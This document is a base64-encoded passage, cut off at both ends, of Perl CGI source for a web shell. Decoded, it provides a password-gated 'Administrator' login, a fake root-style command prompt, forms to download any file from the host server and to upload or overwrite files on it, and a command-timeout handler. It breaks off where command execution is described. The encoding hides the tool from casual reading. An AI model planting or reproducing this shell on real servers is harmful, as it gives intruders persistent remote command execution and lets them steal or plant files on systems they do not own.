sdWU9ImxvZ2luIj4NCkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIzY2ZmY2Nic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNTAiIG5hbWU9ImMiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQidHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+DQo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KDQo8L2Zvcm0+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQoNCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCW15ICRyZXN1bHQgPSAiIjsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgkJZXhpdCgxKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07DQoNCgl9DQoJbXkgJHJlc3VsdD0iIjsNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNh